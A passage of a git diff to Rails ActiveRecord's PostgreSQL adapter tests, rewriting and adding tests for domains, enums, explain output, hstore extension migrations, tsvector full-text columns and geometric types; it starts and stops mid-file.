-    @first_array.nicknames = new_value
-    assert @first_array.save
-    assert @first_array.reload
-    assert_equal new_value, @first_array.nicknames
-    @first_array.nicknames = new_value
-    assert @first_array.save
-    assert @first_array.reload
-    assert_equal new_value, @first_array.nicknames
-  end
-
-  def test_update_money
-    new_value = BigDecimal.new('123.45')
-    @first_money.wealth = new_value
-    assert @first_money.save
-    assert @first_money.reload
-    assert_equal new_value, @first_money.wealth
-  end
-
-  def test_update_number
-    new_single = 789.012
-    new_double = 789012.345
-    @first_number.single = new_single
-    @first_number.double = new_double
-    assert @first_number.save
-    assert @first_number.reload
-    assert_equal new_single, @first_number.single
-    assert_equal new_double, @first_number.double
-  end
-
   def test_update_time
     @first_time.time_interval = '2 years 3 minutes'
     assert @first_time.save
@@ -535,51 +53,6 @@ _SQL
     assert_equal '2 years 00:03:00', @first_time.time_interval
   end
 
-  def test_update_network_address
-    new_inet_address = '10.1.2.3/32'
-    new_cidr_address = '10.0.0.0/8'
-    new_mac_address = 'bc:de:f0:12:34:56'
-    @first_network_address.cidr_address = new_cidr_address
-    @first_network_address.inet_address = new_inet_address
-    @first_network_address.mac_address = new_mac_address
-    assert @first_network_address.save
-    assert @first_network_address.reload
-    assert_equal @first_network_address.cidr_address, new_cidr_address
-    assert_equal @first_network_address.inet_address, new_inet_address
-    assert_equal @first_network_address.mac_address, new_mac_address
-  end
-
-  def test_update_bit_string
-    new_bit_string = '11111111'
-    new_bit_string_varying = '0xFF'
-    @first_bit_string.bit_string = new_bit_string
-    @first_bit_string.bit_string_varying = new_bit_string_varying
-    assert @first_bit_string.save
-    assert @first_bit_string.reload
-    assert_equal new_bit_string, @first_bit_string.bit_string
-    assert_equal @first_bit_string.bit_string, @first_bit_string.bit_string_varying
-  end
-
-  def test_invalid_hex_string
-    new_bit_string = 'FF'
-    @first_bit_string.bit_string = new_bit_string
-    assert_raise(ActiveRecord::StatementInvalid) { assert @first_bit_string.save }
-  end
-
-  def test_invalid_network_address
-    @first_network_address.cidr_address = 'invalid addr'
-    assert_nil @first_network_address.cidr_address
-    assert_equal 'invalid addr', @first_network_address.cidr_address_before_type_cast
-    assert @first_network_address.save
-
-    @first_network_address.reload
-
-    @first_network_address.inet_address = 'invalid addr'
-    assert_nil @first_network_address.inet_address
-    assert_equal 'invalid addr', @first_network_address.inet_address_before_type_cast
-    assert @first_network_address.save
-  end
-
   def test_update_oid
     new_value = 567890
     @first_oid.obj_id = new_value
@@ -588,39 +61,32 @@ _SQL
     assert_equal new_value, @first_oid.obj_id
   end
 
-  def test_timestamp_with_zone_values_with_rails_time_zone_support
-    old_tz         = ActiveRecord::Base.time_zone_aware_attributes
-    old_default_tz = ActiveRecord::Base.default_timezone
-
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    ActiveRecord::Base.default_timezone = :utc
-
-    @connection.reconnect!
-
-    @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
-    assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
-    assert_instance_of Time, @first_timestamp_with_zone.time
-  ensure
-    ActiveRecord::Base.default_timezone = old_default_tz
-    ActiveRecord::Base.time_zone_aware_attributes = old_tz
-    @connection.reconnect!
+  def test_text_columns_are_limitless_the_upper_limit_is_one_GB
+    assert_equal 'text', @connection.type_to_sql(:text, 100_000)
+    assert_raise ActiveRecord::ActiveRecordError do
+      @connection.type_to_sql :text, 4294967295
+    end
   end
+end
 
-  def test_timestamp_with_zone_values_without_rails_time_zone_support
-    old_tz         = ActiveRecord::Base.time_zone_aware_attributes
-    old_default_tz = ActiveRecord::Base.default_timezone
+class PostgresqlInternalDataTypeTest < ActiveRecord::TestCase
+  include DdlHelper
 
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    ActiveRecord::Base.default_timezone = :local
+  setup do
+    @connection = ActiveRecord::Base.connection
+  end
 
-    @connection.reconnect!
+  def test_name_column_type
+    with_example_table @connection, 'ex', 'data name' do
+      column = @connection.columns('ex').find { |col| col.name == 'data' }
+      assert_equal :string, column.type
+    end
+  end
 
-    @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
-    assert_equal Time.local(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
-    assert_instance_of Time, @first_timestamp_with_zone.time
-  ensure
-    ActiveRecord::Base.default_timezone = old_default_tz
-    ActiveRecord::Base.time_zone_aware_attributes = old_tz
-    @connection.reconnect!
+  def test_char_column_type
+    with_example_table @connection, 'ex', 'data "char"' do
+      column = @connection.columns('ex').find { |col| col.name == 'data' }
+      assert_equal :string, column.type
+    end
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/domain_test.rb b/activerecord/test/cases/adapters/postgresql/domain_test.rb
new file mode 100644
index 0000000000..b7d776b40c
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/domain_test.rb
@@ -0,0 +1,47 @@
+require "cases/helper"
+require 'support/connection_helper'
+
+class PostgresqlDomainTest < ActiveRecord::TestCase
+  include ConnectionHelper
+
+  class PostgresqlDomain < ActiveRecord::Base
+    self.table_name = "postgresql_domains"
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.transaction do
+      @connection.execute "CREATE DOMAIN custom_money as numeric(8,2)"
+      @connection.create_table('postgresql_domains') do |t|
+        t.column :price, :custom_money
+      end
+    end
+  end
+
+  teardown do
+    @connection.execute 'DROP TABLE IF EXISTS postgresql_domains'
+    @connection.execute 'DROP DOMAIN IF EXISTS custom_money'
+    reset_connection
+  end
+
+  def test_column
+    column = PostgresqlDomain.columns_hash["price"]
+    assert_equal :decimal, column.type
+    assert_equal "custom_money", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlDomain.type_for_attribute("price")
+    assert_not type.binary?
+  end
+
+  def test_domain_acts_like_basetype
+    PostgresqlDomain.create price: ""
+    record = PostgresqlDomain.first
+    assert_nil record.price
+
+    record.price = "34.15"
+    record.save!
+
+    assert_equal BigDecimal.new("34.15"), record.reload.price
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/enum_test.rb b/activerecord/test/cases/adapters/postgresql/enum_test.rb
new file mode 100644
index 0000000000..acb09b0607
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/enum_test.rb
@@ -0,0 +1,83 @@
+require "cases/helper"
+require 'support/connection_helper'
+
+class PostgresqlEnumTest < ActiveRecord::TestCase
+  include ConnectionHelper
+
+  class PostgresqlEnum < ActiveRecord::Base
+    self.table_name = "postgresql_enums"
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.transaction do
+      @connection.execute <<-SQL
+        CREATE TYPE mood AS ENUM ('sad', 'ok', 'happy');
+      SQL
+      @connection.create_table('postgresql_enums') do |t|
+        t.column :current_mood, :mood
+      end
+    end
+  end
+
+  teardown do
+    @connection.execute 'DROP TABLE IF EXISTS postgresql_enums'
+    @connection.execute 'DROP TYPE IF EXISTS mood'
+    reset_connection
+  end
+
+  def test_column
+    column = PostgresqlEnum.columns_hash["current_mood"]
+    assert_equal :enum, column.type
+    assert_equal "mood", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlEnum.type_for_attribute("current_mood")
+    assert_not type.binary?
+  end
+
+  def test_enum_defaults
+    @connection.add_column 'postgresql_enums', 'good_mood', :mood, default: 'happy'
+    PostgresqlEnum.reset_column_information
+
+    assert_equal "happy", PostgresqlEnum.column_defaults['good_mood']
+    assert_equal "happy", PostgresqlEnum.new.good_mood
+  ensure
+    PostgresqlEnum.reset_column_information
+  end
+
+  def test_enum_mapping
+    @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+    enum = PostgresqlEnum.first
+    assert_equal "sad", enum.current_mood
+
+    enum.current_mood = "happy"
+    enum.save!
+
+    assert_equal "happy", enum.reload.current_mood
+  end
+
+  def test_invalid_enum_update
+    @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+    enum = PostgresqlEnum.first
+    enum.current_mood = "angry"
+
+    assert_raise ActiveRecord::StatementInvalid do
+      enum.save
+    end
+  end
+
+  def test_no_oid_warning
+    @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+    stderr_output = capture(:stderr) { PostgresqlEnum.first }
+
+    assert stderr_output.blank?
+  end
+
+  def test_enum_type_cast
+    enum = PostgresqlEnum.new
+    enum.current_mood = :happy
+
+    assert_equal "happy", enum.current_mood
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/explain_test.rb b/activerecord/test/cases/adapters/postgresql/explain_test.rb
index 0b61f61572..6ffb4c9f33 100644
--- a/activerecord/test/cases/adapters/postgresql/explain_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/explain_test.rb
@@ -1,5 +1,6 @@
 require "cases/helper"
 require 'models/developer'
+require 'models/computer'
 
 module ActiveRecord
   module ConnectionAdapters
@@ -9,18 +10,15 @@ module ActiveRecord
 
         def test_explain_for_one_query
           explain = Developer.where(:id => 1).explain
-          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers"  WHERE "developers"."id" = 1), explain
+          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = $1), explain
           assert_match %(QUERY PLAN), explain
-          assert_match %(Index Scan using developers_pkey on developers), explain
         end
 
         def test_explain_with_eager_loading
           explain = Developer.where(:id => 1).includes(:audit_logs).explain
           assert_match %(QUERY PLAN), explain
-          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers"  WHERE "developers"."id" = 1), explain
-          assert_match %(Index Scan using developers_pkey on developers), explain
-          assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs"  WHERE "audit_logs"."developer_id" IN (1)), explain
-          assert_match %(Seq Scan on audit_logs), explain
+          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = $1), explain
+          assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" = 1), explain
         end
       end
     end
diff --git a/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb
new file mode 100644
index 0000000000..7b99fcdda0
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb
@@ -0,0 +1,63 @@
+require "cases/helper"
+
+class PostgresqlExtensionMigrationTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  class EnableHstore < ActiveRecord::Migration
+    def change
+      enable_extension "hstore"
+    end
+  end
+
+  class DisableHstore < ActiveRecord::Migration
+    def change
+      disable_extension "hstore"
+    end
+  end
+
+  def setup
+    super
+
+    @connection = ActiveRecord::Base.connection
+
+    unless @connection.supports_extensions?
+      return skip("no extension support")
+    end
+
+    @old_schema_migration_tabel_name = ActiveRecord::SchemaMigration.table_name
+    @old_tabel_name_prefix = ActiveRecord::Base.table_name_prefix
+    @old_tabel_name_suffix = ActiveRecord::Base.table_name_suffix
+
+    ActiveRecord::Base.table_name_prefix = "p_"
+    ActiveRecord::Base.table_name_suffix = "_s"
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    ActiveRecord::SchemaMigration.table_name = "p_schema_migrations_s"
+    ActiveRecord::Migration.verbose = false
+  end
+
+  def teardown
+    ActiveRecord::Base.table_name_prefix = @old_tabel_name_prefix
+    ActiveRecord::Base.table_name_suffix = @old_tabel_name_suffix
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    ActiveRecord::Migration.verbose = true
+    ActiveRecord::SchemaMigration.table_name = @old_schema_migration_tabel_name
+
+    super
+  end
+
+  def test_enable_extension_migration_ignores_prefix_and_suffix
+    @connection.disable_extension("hstore")
+
+    migrations = [EnableHstore.new(nil, 1)]
+    ActiveRecord::Migrator.new(:up, migrations).migrate
+    assert @connection.extension_enabled?("hstore"), "extension hstore should be enabled"
+  end
+
+  def test_disable_extension_migration_ignores_prefix_and_suffix
+    @connection.enable_extension("hstore")
+
+    migrations = [DisableHstore.new(nil, 1)]
+    ActiveRecord::Migrator.new(:up, migrations).migrate
+    assert_not @connection.extension_enabled?("hstore"), "extension hstore should not be enabled"
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/full_text_test.rb b/activerecord/test/cases/adapters/postgresql/full_text_test.rb
new file mode 100644
index 0000000000..81891a90fa
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/full_text_test.rb
@@ -0,0 +1,44 @@
+require "cases/helper"
+require 'support/schema_dumping_helper'
+
+class PostgresqlFullTextTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+  class Tsvector < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table('tsvectors') do |t|
+      t.tsvector 'text_vector'
+    end
+  end
+
+  teardown do
+    @connection.execute 'DROP TABLE IF EXISTS tsvectors;'
+  end
+
+  def test_tsvector_column
+    column = Tsvector.columns_hash["text_vector"]
+    assert_equal :tsvector, column.type
+    assert_equal "tsvector", column.sql_type
+    assert_not column.array?
+
+    type = Tsvector.type_for_attribute("text_vector")
+    assert_not type.binary?
+  end
+
+  def test_update_tsvector
+    Tsvector.create text_vector: "'text' 'vector'"
+    tsvector = Tsvector.first
+    assert_equal "'text' 'vector'", tsvector.text_vector
+
+    tsvector.text_vector = "'new' 'text' 'vector'"
+    tsvector.save!
+    assert tsvector.reload
+    assert_equal "'new' 'text' 'vector'", tsvector.text_vector
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema("tsvectors")
+    assert_match %r{t\.tsvector "text_vector"}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/geometric_test.rb b/activerecord/test/cases/adapters/postgresql/geometric_test.rb
new file mode 100644
index 0000000000..4b25381a83
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/geometric_test.rb
@@ -0,0 +1,139 @@
+require "cases/helper"
+require 'support/connection_helper'
+require 'support/schema_dumping_helper'
+
+class PostgresqlPointTest < ActiveRecord::TestCase
+  include ConnectionHelper
+  include SchemaDumpingHelper
+
+  class PostgresqlPoint < ActiveRecord::Base; end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table('postgresql_points') do |t|
+      t.point :x
+      t.point :y, default: [12.2, 13.3]
+      t.point :z, default: "(14.4,15.5)"
+    end
+  end
+
+  teardown do
+    @connection.execute 'DROP TABLE IF EXISTS postgresql_points'
+  end
+
+  def test_column
+    column = PostgresqlPoint.columns_hash["x"]
+    assert_equal :point, column.type
+    assert_equal "point", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlPoint.type_for_attribute("x")
+    assert_not type.binary?
+  end
+
+  def test_default
+    assert_equal [12.2, 13.3], PostgresqlPoint.column_defaults['y']
+    assert_equal [12.2, 13.3], PostgresqlPoint.new.y
+
+    assert_equal [14.4, 15.5], PostgresqlPoint.column_defaults['z']
+    assert_equal [14.4, 15.5], PostgresqlPoint.new.z
+  end
+
+  def test_schema_dumping
+    output = dump_table_schema("postgresql_points")
+    assert_match %r{t\.point\s+"x"$}, output
+    assert_match %r{t\.point\s+"y",\s+default: \[12\.2, 13\.3\]$}, output
+    assert_match %r{t\.point\s+"z",\s+default: \[14\.4, 15\.5\]$}, output
+  end
+
+  def test_roundtrip
+    PostgresqlPoint.create! x: [10, 25.2]
+    record = PostgresqlPoint.first
+    assert_equal [10, 25.2], record.x
+
+    record.x = [1.1, 2.2]
+    record.save!
+    assert record.reload
+    assert_equal [1.1, 2.2], record.x
+  end
+
+  def test_mutation
+    p = PostgresqlPoint.create! x: [10, 20]
+
+    p.x[1] = 25
+    p.save!
+    p.reload
+
+    assert_equal [10.0, 25.0], p.x
+    assert_not p.changed?
+  end
+end
+
+class PostgresqlGeometricTest < ActiveRecord::TestCase
+  class PostgresqlGeometric < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("postgresql_geometrics") do |t|
+      t.column :a_line_segment, :lseg
+      t.column :a_box, :box
+      t.column :a_path, :path
+      t.column :a_polygon, :polygon
+      t.column :a_circle, :circle
+    end
+  end
+
+  teardown do
+    @connection.execute 'DROP TABLE IF EXISTS postgresql_geometrics'
+  end
+
+  def test_geometric_types
+    g = PostgresqlGeometric.new(
+      :a_line_segment => '(2.0, 3), (5.5, 7.0)',
+      :a_box          => '2.0, 3, 5.5, 7.0',
+      :a_path         => '[(2.0, 3), (5.5, 7.0), (8.5, 11.0)]',
+      :a_polygon      => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',
+      :a_circle       => '<(5.3, 10.4), 2>'
+    )
+
+    g.save!
+
+    h = PostgresqlGeometric.find(g.id)
+
+    assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
+    assert_equal '(5.5,7),(2,3)', h.a_box # reordered to store upper right corner then bottom left corner
+    assert_equal '[(2,3),(5.5,7),(8.5,11)]', h.a_path
+    assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
+    assert_equal '<(5.3,10.4),2>', h.a_circle
+  end
+
+  def test_alternative_format
+    g = PostgresqlGeometric.new(
+      :a_line_segment => '((2.0, 3), (5.5, 7.0))',
+      :a_box          => '(2.0, 3), (5.5, 7.0)',
+      :a_path         => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',
+      :a_polygon      => '2.0, 3, 5.5, 7.0, 8.5, 11.0',
+      :a_circle       => '((5.3, 10.4), 2)'
+    )
+
+    g.save!
+
+    h = PostgresqlGeometric.find(g.id)
+    assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
+    assert_equal '(5.5,7),(2,3)', h.a_box   # reordered to store upper right corner then bottom left corner
+    assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_path
+    assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
+    assert_equal '<(5.3,10.4),2>', h.a_circle
+  end
+
+  def test_geometric_function
+    PostgresqlGeometric.create! a_path: '[(2.0, 3), (5.5, 7.0), (8.5, 11.0)]'  # [ ] is an open path
+    PostgresqlGeometric.create! a_path: '((2.0, 3), (5.5, 7.0), (8.5, 11.0))'  # ( ) is a closed path
+
+    objs = PostgresqlGeometric.find_by_sql "SELECT isopen(a_path) FROM postgresql_geometrics ORDER BY id ASC"
+    assert_equal [true, false], objs.map(&:isopen)
+
+    objs = PostgresqlGeometric.find_by_sql "SELECT isclosed(a_path) FROM postgresql_geometrics ORDER BY id ASC"
+    assert_equal [false, true], objs.map(&:isclosed)
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/hstore_test.rb b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
index f61f196c71..11053a6e38 100644
--- a/activerecord/test/cases/adapters/postgresql/hstore_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
@@ -1,207 +1,352 @@
-# encoding: utf-8
-
 require "cases/helper"
-require 'active_record/base'
-require 'active_record/connection_adapters/postgresql_adapter'
+require 'support/schema_dumping_helper'
 
-class PostgresqlHstoreTest < ActiveRecord::TestCase
-  class Hstore < ActiveRecord::Base
-    self.table_name = 'hstores'
-  end
+if ActiveRecord::Base.connection.supports_extensions?
+  class PostgresqlHstoreTest < ActiveRecord::TestCase
+    include SchemaDumpingHelper
+    class Hstore < ActiveRecord::Base
+      self.table_name = 'hstores'
+
+      store_accessor :settings, :language, :timezone
+    end
 
-  def setup
-    @connection = ActiveRecord::Base.connection
+    def setup
+      @connection = ActiveRecord::Base.connection
 
-    unless @connection.supports_extensions?
-      return skip "do not test on PG without hstore"
+      unless @connection.extension_enabled?('hstore')
+        @connection.enable_extension 'hstore'
+        @connection.commit_db_transaction
+      end
+
+      @connection.reconnect!
+
+      @connection.transaction do
+        @connection.create_table('hstores') do |t|
+          t.hstore 'tags', :default => ''
+          t.hstore 'payload', array: true
+          t.hstore 'settings'
+        end
+      end
+      @column = Hstore.columns_hash['tags']
+      @type = Hstore.type_for_attribute("tags")
     end
 
-    unless @connection.extension_enabled?('hstore')
-      @connection.enable_extension 'hstore'
-      @connection.commit_db_transaction
+    teardown do
+      @connection.execute 'drop table if exists hstores'
     end
 
-    @connection.reconnect!
+    def test_hstore_included_in_extensions
+      assert @connection.respond_to?(:extensions), "connection should have a list of extensions"
+      assert @connection.extensions.include?('hstore'), "extension list should include hstore"
+    end
 
-    @connection.transaction do
-      @connection.create_table('hstores') do |t|
-        t.hstore 'tags', :default => ''
-      end
+    def test_disable_enable_hstore
+      assert @connection.extension_enabled?('hstore')
+      @connection.disable_extension 'hstore'
+      assert_not @connection.extension_enabled?('hstore')
+      @connection.enable_extension 'hstore'
+      assert @connection.extension_enabled?('hstore')
+    ensure
+      # Restore column(s) dropped by `drop extension hstore cascade;`
+      load_schema
     end
-    @column = Hstore.columns.find { |c| c.name == 'tags' }
-  end
 
-  def teardown
-    @connection.execute 'drop table if exists hstores'
-  end
+    def test_column
+      assert_equal :hstore, @column.type
+      assert_equal "hstore", @column.sql_type
+      assert_not @column.array?
 
-  def test_hstore_included_in_extensions
-    assert @connection.respond_to?(:extensions), "connection should have a list of extensions"
-    assert @connection.extensions.include?('hstore'), "extension list should include hstore"
-  end
+      assert_not @type.binary?
+    end
 
-  def test_disable_enable_hstore
-    assert @connection.extension_enabled?('hstore')
-    @connection.disable_extension 'hstore'
-    assert_not @connection.extension_enabled?('hstore')
-    @connection.enable_extension 'hstore'
-    assert @connection.extension_enabled?('hstore')
-  ensure
-    # Restore column(s) dropped by `drop extension hstore cascade;`
-    load_schema
-  end
+    def test_default
+      @connection.add_column 'hstores', 'permissions', :hstore, default: '"users"=>"read", "articles"=>"write"'
+      Hstore.reset_column_information
 
-  def test_column
-    assert_equal :hstore, @column.type
-  end
+      assert_equal({"users"=>"read", "articles"=>"write"}, Hstore.column_defaults['permissions'])
+      assert_equal({"users"=>"read", "articles"=>"write"}, Hstore.new.permissions)
+    ensure
+      Hstore.reset_column_information
+    end
+
+    def test_change_table_supports_hstore
+      @connection.transaction do
+        @connection.change_table('hstores') do |t|
+          t.hstore 'users', default: ''
+        end
+        Hstore.reset_column_information
+        column = Hstore.columns_hash['users']
+        assert_equal :hstore, column.type
 
-  def test_change_table_supports_hstore
-    @connection.transaction do
-      @connection.change_table('hstores') do |t|
-        t.hstore 'users', default: ''
+        raise ActiveRecord::Rollback # reset the schema change
       end
+    ensure
       Hstore.reset_column_information
-      column = Hstore.columns.find { |c| c.name == 'users' }
-      assert_equal :hstore, column.type
+    end
+
+    def test_hstore_migration
+      hstore_migration = Class.new(ActiveRecord::Migration) do
+        def change
+          change_table("hstores") do |t|
+            t.hstore :keys
+          end
+        end
+      end
 
-      raise ActiveRecord::Rollback # reset the schema change
+      hstore_migration.new.suppress_messages do
+        hstore_migration.migrate(:up)
+        assert_includes @connection.columns(:hstores).map(&:name), "keys"
+        hstore_migration.migrate(:down)
+        assert_not_includes @connection.columns(:hstores).map(&:name), "keys"
+      end
     end
-  ensure
-    Hstore.reset_column_information
-  end
 
-  def test_cast_value_on_write
-    x = Hstore.new tags: {"bool" => true, "number" => 5}
-    assert_equal({"bool" => "true", "number" => "5"}, x.tags)
-    x.save
-    assert_equal({"bool" => "true", "number" => "5"}, x.reload.tags)
-  end
+    def test_cast_value_on_write
+      x = Hstore.new tags: {"bool" => true, "number" => 5}
+      assert_equal({"bool" => true, "number" => 5}, x.tags_before_type_cast)
+      assert_equal({"bool" => "true", "number" => "5"}, x.tags)
+      x.save
+      assert_equal({"bool" => "true", "number" => "5"}, x.reload.tags)
+    end
 
-  def test_type_cast_hstore
-    assert @column
+    def test_type_cast_hstore
+      assert_equal({'1' => '2'}, @type.type_cast_from_database("\"1\"=>\"2\""))
+      assert_equal({}, @type.type_cast_from_database(""))
+      assert_equal({'key'=>nil}, @type.type_cast_from_database('key => NULL'))
+      assert_equal({'c'=>'}','"a"'=>'b "a b'}, @type.type_cast_from_database(%q(c=>"}", "\"a\""=>"b \"a b")))
+    end
 
-    data = "\"1\"=>\"2\""
-    hash = @column.class.string_to_hstore data
-    assert_equal({'1' => '2'}, hash)
-    assert_equal({'1' => '2'}, @column.type_cast(data))
+    def test_with_store_accessors
+      x = Hstore.new(language: "fr", timezone: "GMT")
+      assert_equal "fr", x.language
+      assert_equal "GMT", x.timezone
 
-    assert_equal({}, @column.type_cast(""))
-    assert_equal({'key'=>nil}, @column.type_cast('key => NULL'))
-    assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q(c=>"}", "\"a\""=>"b \"a b")))
-  end
+      x.save!
+      x = Hstore.first
+      assert_equal "fr", x.language
+      assert_equal "GMT", x.timezone
 
-  def test_gen1
-    assert_equal(%q(" "=>""), @column.class.hstore_to_string({' '=>''}))
-  end
+      x.language = "de"
+      x.save!
 
-  def test_gen2
-    assert_equal(%q(","=>""), @column.class.hstore_to_string({','=>''}))
-  end
+      x = Hstore.first
+      assert_equal "de", x.language
+      assert_equal "GMT", x.timezone
+    end
 
-  def test_gen3
-    assert_equal(%q("="=>""), @column.class.hstore_to_string({'='=>''}))
-  end
+    def test_duplication_with_store_accessors
+      x = Hstore.new(language: "fr", timezone: "GMT")
+      assert_equal "fr", x.language
+      assert_equal "GMT", x.timezone
 
-  def test_gen4
-    assert_equal(%q(">"=>""), @column.class.hstore_to_string({'>'=>''}))
-  end
+      y = x.dup
+      assert_equal "fr", y.language
+      assert_equal "GMT", y.timezone
+    end
 
-  def test_parse1
-    assert_equal({'a'=>nil,'b'=>nil,'c'=>'NuLl','null'=>'c'}, @column.type_cast('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
-  end
+    def test_yaml_round_trip_with_store_accessors
+      x = Hstore.new(language: "fr", timezone: "GMT")
+      assert_equal "fr", x.language
+      assert_equal "GMT", x.timezone
 
-  def test_parse2
-    assert_equal({" " => " "},  @column.type_cast("\\ =>\\ "))
-  end
+      y = YAML.load(YAML.dump(x))
+      assert_equal "fr", y.language
+      assert_equal "GMT", y.timezone
+    end
 
-  def test_parse3
-    assert_equal({"=" => ">"},  @column.type_cast("==>>"))
-  end
+    def test_changes_in_place
+      hstore = Hstore.create!(settings: { 'one' => 'two' })
+      hstore.settings['three'] = 'four'
+      hstore.save!
+      hstore.reload
 
-  def test_parse4
-    assert_equal({"=a"=>"q=w"},   @column.type_cast('\=a=>q=w'))
-  end
+      assert_equal 'four', hstore.settings['three']
+      assert_not hstore.changed?
+    end
 
-  def test_parse5
-    assert_equal({"=a"=>"q=w"},   @column.type_cast('"=a"=>q\=w'))
-  end
+    def test_gen1
+      assert_equal(%q(" "=>""), @type.type_cast_for_database({' '=>''}))
+    end
 
-  def test_parse6
-    assert_equal({"\"a"=>"q>w"},  @column.type_cast('"\"a"=>q>w'))
-  end
+    def test_gen2
+      assert_equal(%q(","=>""), @type.type_cast_for_database({','=>''}))
+    end
 
-  def test_parse7
-    assert_equal({"\"a"=>"q\"w"}, @column.type_cast('\"a=>q"w'))
-  end
+    def test_gen3
+      assert_equal(%q("="=>""), @type.type_cast_for_database({'='=>''}))
+    end
 
-  def test_rewrite
-    @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
-    x = Hstore.first
-    x.tags = { '"a\'' => 'b' }
-    assert x.save!
-  end
+    def test_gen4
+      assert_equal(%q(">"=>""), @type.type_cast_for_database({'>'=>''}))
+    end
 
+    def test_parse1
+      assert_equal({'a'=>nil,'b'=>nil,'c'=>'NuLl','null'=>'c'}, @type.type_cast_from_database('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
+    end
 
-  def test_select
-    @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
-    x = Hstore.first
-    assert_equal({'1' => '2'}, x.tags)
-  end
+    def test_parse2
+      assert_equal({" " => " "},  @type.type_cast_from_database("\\ =>\\ "))
+    end
 
-  def test_select_multikey
-    @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
-    x = Hstore.first
-    assert_equal({'1' => '2', '2' => '3'}, x.tags)
-  end
+    def test_parse3
+      assert_equal({"=" => ">"},  @type.type_cast_from_database("==>>"))
+    end
 
-  def test_create
-    assert_cycle('a' => 'b', '1' => '2')
-  end
+    def test_parse4
+      assert_equal({"=a"=>"q=w"},   @type.type_cast_from_database('\=a=>q=w'))
+    end
 
-  def test_nil
-    assert_cycle('a' => nil)
-  end
+    def test_parse5
+      assert_equal({"=a"=>"q=w"},   @type.type_cast_from_database('"=a"=>q\=w'))
+    end
 
-  def test_quotes
-    assert_cycle('a' => 'b"ar', '1"foo' => '2')
-  end
+    def test_parse6
+      assert_equal({"\"a"=>"q>w"},  @type.type_cast_from_database('"\"a"=>q>w'))
+    end
 
-  def test_whitespace
-    assert_cycle('a b' => 'b ar', '1"foo' => '2')
-  end
+    def test_parse7
+      assert_equal({"\"a"=>"q\"w"}, @type.type_cast_from_database('\"a=>q"w'))
+    end
 
-  def test_backslash
-    assert_cycle('a\\b' => 'b\\ar', '1"foo' => '2')
-  end
+    def test_rewrite
+      @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+      x = Hstore.first
+      x.tags = { '"a\'' => 'b' }
+      assert x.save!
+    end
 
-  def test_comma
-    assert_cycle('a, b' => 'bar', '1"foo' => '2')
-  end
+    def test_select
+      @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+      x = Hstore.first
+      assert_equal({'1' => '2'}, x.tags)
+    end
 
-  def test_arrow
-    assert_cycle('a=>b' => 'bar', '1"foo' => '2')
-  end
+    def test_array_cycle
+      assert_array_cycle([{"AA" => "BB", "CC" => "DD"}, {"AA" => nil}])
+    end
 
-  def test_quoting_special_characters
-    assert_cycle('ca' => 'cà', 'ac' => 'àc')
-  end
+    def test_array_strings_with_quotes
+      assert_array_cycle([{'this has' => 'some "s that need to be escaped"'}])
+    end
 
-  def test_multiline
-    assert_cycle("a\nb" => "c\nd")
-  end
+    def test_array_strings_with_commas
